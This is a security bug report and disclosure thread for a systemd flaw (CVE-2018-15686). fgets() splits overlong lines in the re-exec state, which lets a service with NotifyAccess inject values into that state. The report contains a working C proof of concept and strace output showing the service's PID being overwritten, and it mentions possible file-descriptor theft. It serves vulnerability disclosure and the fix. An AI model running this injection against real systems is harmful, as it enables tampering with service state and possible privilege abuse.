systemd: reexec state injection: fgets() on overlong lines leads to line splitting

Bug #1796402 reported by Jann Horn (corp account)
This bug affects 1 person
Affects Status Importance Assigned to Milestone
systemd (Ubuntu)
Fix Released

Bug Description

systemd: reexec state injection: fgets() on overlong lines leads to line splitting

[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at

When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character

Lines associated with a systemd unit are read in unit_deserialize()
using fgets():

                char line[LINE_MAX], *l, *v;
                if (!fgets(line, sizeof(line), f)) {
                        if (feof(f))
                                return 0;
                        return -errno;

LINE_MAX is 2048:

/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048

When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.

A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
Status messages that are sent to systemd are received by
manager_dispatch_notify_fd(). This function has a receive buffer of

Therefore, a service with `NotifyAccess != none` can trigger this bug.


Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/system/notify_test.service (assuming that your
home directory is /home/user):

Description=jannh test service for systemd notifications



Create a small binary that sends an overlong status when it starts up:

user@ubuntu-18-04-vm:~$ cat test_service.c
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>

int main(void) {
 int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
 if (sock == -1) err(1, "socket");
 struct sockaddr_un addr = {
  .sun_family = AF_UNIX,
  .sun_path = "/run/systemd/notify"
 if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))) err(1, "connect");

 char message[0x2000] = "STATUS=";
 memset(message+7, 'X', 2048-1-12);
 strcat(message, "main-pid=13371337");
 struct iovec iov = {
  .iov_base = message,
  .iov_len = strlen(message)
 union {
  struct cmsghdr cmsghdr;
  char buf[CMSG_SPACE(sizeof(struct ucred))];
 } control = { .cmsghdr = {
  .cmsg_level = SOL_SOCKET,
  .cmsg_type = SCM_CREDENTIALS,
  .cmsg_len = CMSG_LEN(sizeof(struct ucred))
 struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct cmsghdr)));
 ucred->pid = getpid();
 ucred->uid = getuid();
 ucred->gid = getgid();
 struct msghdr msghdr = {
  .msg_iov = &iov,
  .msg_iovlen = 1,
  .msg_control = &control,
  .msg_controllen = sizeof(control)
 if (sendmsg(sock, &msghdr, 0) != strlen(message)) err(1, "sendmsg");

 while (1) pause();
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c

Install the service, and start it. Then run strace against systemd,
and run:

root@ubuntu-18-04-vm:~# systemctl daemon-reexec
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service

The "stop" command hangs, and you'll see the following in strace:

root@ubuntu-18-04-vm:~# strace -p1 2>&1 | grep 13371337
openat(AT_FDCWD, "/proc/13371337/stat", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
kill(13371337, SIG_0) = -1 ESRCH (No such process)
kill(13371337, SIGTERM) = -1 ESRCH (No such process)

This demonstrates that systemd's representation of the service's PID
was clobbered by the status message.

This can in theory, depending on how the active services are
configured and some other things, also be used to e.g. steal file
descriptors that other services have stored in systemd (visible in
the serialized representation as "fd-store-fd").

This isn't the only place in systemd that uses fgets(); other uses of
fgets() should probably also be audited and potentially replaced with
a safer function.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.

CVE References

Revision history for this message
Seth Arnold (seth-arnold) wrote :

Hello Jann, thanks for contacting us. Excellent discovery.

Have you allocated a CVE number for this yet?


Revision history for this message
Jann Horn (corp account) (jannh) wrote :

No, I have not allocated a CVE number for this.

Changed in systemd (Ubuntu):
status: New → Confirmed
Revision history for this message
Seth Arnold (seth-arnold) wrote :
Revision history for this message
Seth Arnold (seth-arnold) wrote :

CVE-2018-15686 has been assigned to this issue.

Revision history for this message
Jann Horn (corp account) (jannh) wrote :

Thanks for the update! That looks like a very thorough cleanup. :)

information type: Private Security → Public Security
Mathew Hodson (mhodson)
Changed in systemd (Ubuntu):
importance: Undecided → Medium
Revision history for this message
Dan Streetman (ddstreet) wrote :

please reopen if this is still an issue

Changed in systemd (Ubuntu):
status: Confirmed → Invalid
Revision history for this message
Steve Beattie (sbeattie) wrote :

This was fixed in Ubuntu packages in ; adjusting the state to reflect that a fix was released.


Changed in systemd (Ubuntu):
status: Invalid → Fix Released
To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.